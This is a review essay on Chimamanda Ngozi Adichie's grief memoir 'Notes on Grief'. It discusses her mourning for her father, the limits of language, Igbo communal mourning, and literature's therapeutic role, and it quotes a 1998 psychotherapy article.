Upon losing her father, in her slim and agonized book, Chimamanda Ngozi Adichie writes in a poetic form that mirrors her fractured self and produces a style of mourning that is both loving and haunting. Adichie launches into expounding her understanding of grief as brutal form of education. She describes, “you learn how much grief is about language, the failure of language and the grasping for language.” To her, words become wanting such that the show of sympathy from her extended family and friends become counterproductive and somewhat annoying. When she is told that her father lived long (died at 88), she is slightly consoled, but she maintains that “Age is irrelevant in grief; at issue is not how old he was but how loved.” To say that the death of a person means being in a better place is rather presumptuous. “How would you know?” she asks.

In this book, she chastises herself as she recalls her previous ways of consoling grieving friends. She was reminded by a friend of the words she used in her book Half of a Yellow Sun “Grief was the celebration of love, those who could feel real grief were lucky to have loved.” Adichie finds her words “exquisitely painful.”

To understand her pain, Adichie uses her daughter demonstration:

“My four year old daughter says I scared her. She got down on her knees to demonstrate, her small clenched fist rising and falling, and her mimicry makes me see myself as I was: utterly unraveling, screaming and pounding the floor. The news is like a vicious uprooting.”

If you have lost a loved one at any point, you would understand Adichie’s guilt and anger. How she could have averted the illness, taken better care of him or just make it all never happen (the death). This happens while grieving, we keep blaming ourselves about things we could have done that we never did even though death is beyond our power.

To some degree, reflecting on her father’s life gave some form of comfort which is typical while grieving. As a writer, Adichie understands that words are not enough to explain one’s feelings as she writes: “You learn how much grief is about language, the failure of language and the grasping for language.”

Adichie holds that communal mourning is overwhelming (even though solace is feasible in community), but it remains a value in the Igbo society and in Africa. Individuals come visiting, retell stories and write things about the dead in a book. She becomes utterly annoyed and thinks, “Why are you coming into our house to write in that alien notebook? How dare you make this thing true?” For her these acts make it feel real that her father is dead as she prefers to remain in denial. The only word that made sense to Adichie is Ndo, meaning sorry in Igbo.

It is obvious that Adichie wants her dad back; she is saying goodbye, she is saying she is sorry and at the same time saying do not go. All these are possible because writing a grief memoir shows there is an end, just as Jacques Derrida puts it, when you write, you ask for forgiveness.

Literature remains a crucial aspect and plays a reflective role on culture and society as it indirectly offers a therapeutic path to readers. Emphasizing the sociocultural role of literature, Isabel Allende’s memoir addressed to the author’s daughter, Paula, Shapiro (1998) maintained:

Although most psychotherapists read literary works as a means of enriching our own emotional and intellectual lives, we are less likely to read such writing for lessons on how to conduct treatment, yet the work of creative writers, especially their personal narratives or memoirs, can offer extremely useful examples of life story vision and revision as a source of emotional healing. … The explosion of interest in memoirs suggests our own society’s loss of shared stories and the longing to communicate and learn from the insights we and others have gained through self-reflection. Every time I want to explore a new dimension of psychology, I turn to both “literatures,” that is, both the scientific and the literary, for the insights that will shape my understanding. (p. 93)

Notes on Grief remains a piece of art larger than its size, universal in its experience of loss of a loved one, and the struggle to grieve especially during a pandemic when physical meeting is limited.

References

Image excerpts: https://www.barnesandnoble.com/w/notes-on-grief-chimamanda-ngozi-adichie/1138792627

Shapiro, E. R. (1998). The healing power of culture stories: What writers can teach psychotherapists. Cultural Diversity and Mental Health, 4(2), 91–101. https://doi.org/10.1037/1099-9809.4.2.91

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